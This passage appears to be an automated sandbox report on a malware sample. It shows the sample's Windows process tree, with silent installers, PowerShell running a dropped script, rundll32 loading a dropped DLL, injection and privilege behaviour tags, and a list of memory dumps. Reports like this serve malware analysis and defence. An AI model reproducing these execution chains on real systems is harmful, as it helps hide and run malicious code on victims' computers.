C:\Users\Admin\Documents\RrCALepnuBOFCG3KFt0Ubk9t.exe"C:\Users\Admin\Documents\RrCALepnuBOFCG3KFt0Ubk9t.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\3174481.exe"C:\Users\Admin\AppData\Roaming\3174481.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\7579983.exe"C:\Users\Admin\AppData\Roaming\7579983.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\7858915.exe"C:\Users\Admin\AppData\Roaming\7858915.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\5067096.exe"C:\Users\Admin\AppData\Roaming\5067096.exe"4⤵
-
-
-
C:\Users\Admin\Documents\YdxgtA8aLs9B4cdTE5rRJIeI.exe"C:\Users\Admin\Documents\YdxgtA8aLs9B4cdTE5rRJIeI.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Test-Connection www.google.com4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Test-Connection www.google.com5⤵
-
-
-
-
C:\Users\Admin\Documents\c4DQRXL_E1n_FpgiCglJ1zpU.exe"C:\Users\Admin\Documents\c4DQRXL_E1n_FpgiCglJ1zpU.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
-
C:\Users\Admin\Documents\dSGgIOIpG8KlMbm03JyWSKa0.exe"C:\Users\Admin\Documents\dSGgIOIpG8KlMbm03JyWSKa0.exe"3⤵
-
-
C:\Users\Admin\Documents\8tlMBQecq0xa885_az7vzzls.exe"C:\Users\Admin\Documents\8tlMBQecq0xa885_az7vzzls.exe"3⤵
-
C:\Users\Admin\Documents\8tlMBQecq0xa885_az7vzzls.exe"C:\Users\Admin\Documents\8tlMBQecq0xa885_az7vzzls.exe"4⤵
-
-
-
C:\Users\Admin\Documents\tc1VNpsTbW7t18cJNMqtGEhN.exe"C:\Users\Admin\Documents\tc1VNpsTbW7t18cJNMqtGEhN.exe"3⤵
-
C:\Users\Admin\Documents\tc1VNpsTbW7t18cJNMqtGEhN.exeC:\Users\Admin\Documents\tc1VNpsTbW7t18cJNMqtGEhN.exe4⤵
-
-
-
C:\Users\Admin\Documents\gDVov34t3shQX0OasFNFMFxr.exe"C:\Users\Admin\Documents\gDVov34t3shQX0OasFNFMFxr.exe"3⤵
-
C:\Users\Admin\Documents\gDVov34t3shQX0OasFNFMFxr.exe"C:\Users\Admin\Documents\gDVov34t3shQX0OasFNFMFxr.exe"4⤵
-
-
-
C:\Users\Admin\Documents\h2ZOCnT8todUsdYjOcMKUejs.exe"C:\Users\Admin\Documents\h2ZOCnT8todUsdYjOcMKUejs.exe"3⤵
-
-
C:\Users\Admin\Documents\EhXF5ucSpKH6frWJ1BLctm3C.exe"C:\Users\Admin\Documents\EhXF5ucSpKH6frWJ1BLctm3C.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-594OE.tmp\EhXF5ucSpKH6frWJ1BLctm3C.tmp"C:\Users\Admin\AppData\Local\Temp\is-594OE.tmp\EhXF5ucSpKH6frWJ1BLctm3C.tmp" /SL5="$20414,138429,56832,C:\Users\Admin\Documents\EhXF5ucSpKH6frWJ1BLctm3C.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6G6H3.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-6G6H3.tmp\Setup.exe" /Verysilent5⤵
-
-
-
-
C:\Users\Admin\Documents\GBsU_oI0TAuDniCZgcHSc73b.exe"C:\Users\Admin\Documents\GBsU_oI0TAuDniCZgcHSc73b.exe"3⤵
-
-
C:\Users\Admin\Documents\2dCkwyr06ki3Ybdrh5oAOnJe.exe"C:\Users\Admin\Documents\2dCkwyr06ki3Ybdrh5oAOnJe.exe"3⤵
-
-
C:\Users\Admin\Documents\dn5Smx4UCbztTl3meBhw559f.exe"C:\Users\Admin\Documents\dn5Smx4UCbztTl3meBhw559f.exe"3⤵
-
-
C:\Users\Admin\Documents\DjgqWQOxcf_epJk3dx0iswsR.exe"C:\Users\Admin\Documents\DjgqWQOxcf_epJk3dx0iswsR.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv6A8F.tmp\tempfile.ps1"4⤵
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Modifies registry class
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 4761⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\hgwajduC:\Users\Admin\AppData\Roaming\hgwajdu1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/356-240-0x000001AD086A0000-0x000001AD08711000-memory.dmp
memory/864-275-0x000002875B540000-0x000002875B5B1000-memory.dmp
memory/1084-270-0x000001B399F70000-0x000001B399FE1000-memory.dmp
memory/1236-272-0x00000250ED060000-0x00000250ED0D1000-memory.dmp
memory/1300-281-0x0000015BAE240000-0x0000015BAE2B1000-memory.dmp
memory/1316-152-0x000000001B070000-0x000000001B072000-memory.dmp
memory/1316-141-0x00000000008E0000-0x000000000090B000-memory.dmp
memory/1316-134-0x00000000003D0000-0x00000000003D1000-memory.dmp
memory/1444-277-0x000002D860CD0000-0x000002D860D41000-memory.dmp
memory/1900-279-0x000001C85CF40000-0x000001C85CFB1000-memory.dmp
memory/2116-126-0x0000000002920000-0x0000000002921000-memory.dmp
memory/2116-138-0x00000000029C0000-0x00000000029C2000-memory.dmp
memory/2116-122-0x0000000000910000-0x0000000000911000-memory.dmp
memory/2116-124-0x0000000000D70000-0x0000000000D71000-memory.dmp
memory/2116-125-0x0000000001150000-0x000000000116C000-memory.dmp
memory/2232-238-0x000001DCE8F70000-0x000001DCE8FE1000-memory.dmp
memory/2300-158-0x0000000004D50000-0x0000000004D7B000-memory.dmp
memory/2300-148-0x00000000004E0000-0x00000000004E1000-memory.dmp
memory/2300-159-0x0000000004CE0000-0x0000000004CE1000-memory.dmp
memory/2436-241-0x000001BC0F460000-0x000001BC0F4D1000-memory.dmp
memory/2448-403-0x0000000000400000-0x0000000000409000-memory.dmp
memory/2472-235-0x0000022461240000-0x00000224612B1000-memory.dmp
memory/2680-280-0x000002100AD00000-0x000002100AD71000-memory.dmp
memory/2696-287-0x00000201A8CC0000-0x00000201A8D31000-memory.dmp
memory/2812-236-0x0000021C65210000-0x0000021C65281000-memory.dmp
memory/3028-231-0x0000000000FE0000-0x0000000000FF6000-memory.dmp
memory/3104-234-0x0000015EDCAC0000-0x0000015EDCB31000-memory.dmp
memory/3104-232-0x0000015EDC7C0000-0x0000015EDC80C000-memory.dmp
memory/3864-179-0x0000000000940000-0x0000000000941000-memory.dmp
memory/3864-157-0x0000000007470000-0x0000000007471000-memory.dmp
memory/3864-305-0x00000000084F0000-0x00000000084F1000-memory.dmp
memory/3864-289-0x0000000008C60000-0x0000000008C61000-memory.dmp
memory/3864-154-0x00000000048C0000-0x00000000048F2000-memory.dmp
memory/3864-162-0x0000000006F00000-0x0000000006F01000-memory.dmp
memory/3864-147-0x00000000000E0000-0x00000000000E1000-memory.dmp
memory/3864-161-0x0000000006EA0000-0x0000000006EA1000-memory.dmp
memory/3864-171-0x0000000006F40000-0x0000000006F41000-memory.dmp
memory/3864-200-0x00000000070F0000-0x00000000070F1000-memory.dmp
memory/3864-286-0x0000000008560000-0x0000000008561000-memory.dmp
memory/3892-146-0x0000000000700000-0x0000000000701000-memory.dmp
memory/3892-155-0x00000000078E0000-0x00000000078E1000-memory.dmp
memory/3892-160-0x0000000007480000-0x0000000007481000-memory.dmp
memory/3892-153-0x00000000028F0000-0x00000000028F7000-memory.dmp
memory/4320-178-0x0000000004950000-0x0000000004951000-memory.dmp
memory/4320-172-0x0000000007170000-0x0000000007171000-memory.dmp
memory/4360-228-0x0000000003FE1000-0x00000000040E2000-memory.dmp
memory/4360-229-0x00000000040F0000-0x000000000414D000-memory.dmp
memory/4620-399-0x0000000077870000-0x00000000779FE000-memory.dmp
memory/4640-405-0x0000000002E30000-0x0000000002F7A000-memory.dmp
memory/4640-417-0x0000000000400000-0x0000000002CD3000-memory.dmp
memory/4656-209-0x00000000014D0000-0x0000000001DF6000-memory.dmp
memory/4656-210-0x0000000000400000-0x0000000000D41000-memory.dmp
memory/4684-213-0x0000000003580000-0x00000000036BD000-memory.dmp
memory/4732-208-0x0000000000400000-0x0000000000906000-memory.dmp
memory/4732-207-0x0000000000030000-0x0000000000039000-memory.dmp
memory/4764-361-0x00000000013E0000-0x00000000013F0000-memory.dmp
memory/4764-362-0x0000000001430000-0x000000000157A000-memory.dmp
memory/4800-428-0x0000000005860000-0x0000000005861000-memory.dmp
memory/4800-396-0x0000000077870000-0x00000000779FE000-memory.dmp
memory/4820-271-0x0000000004B70000-0x0000000004B78000-memory.dmp
memory/4820-254-0x0000000003960000-0x0000000003970000-memory.dmp
memory/4820-203-0x0000000000400000-0x0000000000759000-memory.dmp
memory/4820-244-0x00000000037C0000-0x00000000037D0000-memory.dmp
memory/4820-284-0x0000000004E10000-0x0000000004E18000-memory.dmp
memory/4820-301-0x0000000004E10000-0x0000000004E18000-memory.dmp
memory/4820-306-0x00000000037C0000-0x0000000003820000-memory.dmp
memory/5240-290-0x0000000004BF0000-0x0000000004BF1000-memory.dmp
memory/5240-292-0x0000000004B70000-0x0000000004B71000-memory.dmp
memory/5240-288-0x0000000000810000-0x0000000000CEC000-memory.dmp
memory/5240-291-0x0000000004BD0000-0x0000000004BD1000-memory.dmp
memory/5240-294-0x0000000004BB0000-0x0000000004BB1000-memory.dmp
memory/5240-295-0x0000000004C10000-0x0000000004C11000-memory.dmp
memory/5240-303-0x0000000004C40000-0x0000000004C42000-memory.dmp
memory/5240-300-0x0000000004B90000-0x0000000004B91000-memory.dmp
memory/5240-285-0x0000000077870000-0x00000000779FE000-memory.dmp
memory/5240-293-0x0000000004BE0000-0x0000000004BE1000-memory.dmp
memory/5240-322-0x0000000004C60000-0x0000000004C61000-memory.dmp
memory/5240-299-0x0000000004C50000-0x0000000004C51000-memory.dmp
memory/5240-297-0x0000000004C00000-0x0000000004C01000-memory.dmp
memory/5240-296-0x0000000004BA0000-0x0000000004BA1000-memory.dmp
memory/5240-298-0x0000000004BC0000-0x0000000004BC1000-memory.dmp
memory/5336-302-0x00007FF67C250000-0x00007FF67C251000-memory.dmp
memory/5372-401-0x0000000004820000-0x00000000048BD000-memory.dmp
memory/5372-431-0x0000000000400000-0x0000000002D15000-memory.dmp
memory/5640-414-0x0000000002D20000-0x0000000002D2A000-memory.dmp
memory/5652-390-0x000000001B420000-0x000000001B422000-memory.dmp
memory/5704-408-0x0000000002CD0000-0x0000000002D7E000-memory.dmp
memory/5720-391-0x0000000004B40000-0x0000000004B41000-memory.dmp
memory/5808-423-0x0000000000400000-0x0000000000938000-memory.dmp
memory/5808-420-0x00000000009B0000-0x0000000000A5E000-memory.dmp
memory/5820-377-0x0000000004A90000-0x0000000004A91000-memory.dmp
memory/5836-412-0x0000000077870000-0x00000000779FE000-memory.dmp
memory/5836-426-0x0000000005380000-0x0000000005381000-memory.dmp
memory/6076-378-0x000001A1D1340000-0x000001A1D13B4000-memory.dmp
memory/6076-374-0x000001A1D1050000-0x000001A1D109E000-memory.dmp